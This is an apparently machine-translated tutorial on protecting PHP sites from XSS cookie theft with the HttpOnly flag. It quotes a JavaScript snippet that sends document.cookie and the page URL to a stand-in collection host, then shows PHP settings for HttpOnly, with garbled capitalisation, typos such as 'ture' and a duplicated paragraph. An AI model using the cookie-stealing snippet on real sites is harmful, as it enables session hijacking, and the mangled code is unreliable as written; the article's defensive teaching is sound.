Xss defense-php uses httponly to defend against xss attacks

This article mainly introduces xss defense. php uses httponly to defend against xss attacks. The following describes how to set HttpOnly in PHP. For more information, see

This article mainly introduces xss defense. php uses httponly to defend against xss attacks. The following describes how to set HttpOnly in PHP. For more information, see

The concept of xss is needless to say, and its harm is enormous. This means that once your website has an xss vulnerability, You can execute arbitrary js Code, the most terrible thing is that attackers can use JavaScript to obtain cookies or session hijacking. If the packet contains a large amount of sensitive information (such as identity information and administrator information), it will be over...

Obtain cookie information using the following js:

The Code is as follows:

Url = document. top. location. href;
Cookie = document. cookie;
C = new Image ();
C. src = 'HTTP: // www.test.com/c.php? C = '+ cookie +' & u = '+ url;

Generally, cookies are obtained from the document object. Now, when setting cookies, the browser generally accepts a parameter called HttpOnly, which is the same as other parameters such as domain. Once this HttpOnly is set, you cannot see the Cookie in the document Object of the browser.

Set HttpOnly in PHP:

The Code is as follows:

// In php. ini, session. cookie_httponly = ture enables the HttpOnly attribute of the global Cookie.
Ini_set ("session. cookie_httponly", 1 );

// Or set the seventh parameter of setcookie () to true.
Session_set_cookie_params (0, NULL, TRUE );

For PHP versions earlier than PHP5.1:

The Code is as follows:

Header ("Set-Cookie: hidden = value; httpOnly ");

Finally, HttpOnly is not omnipotent!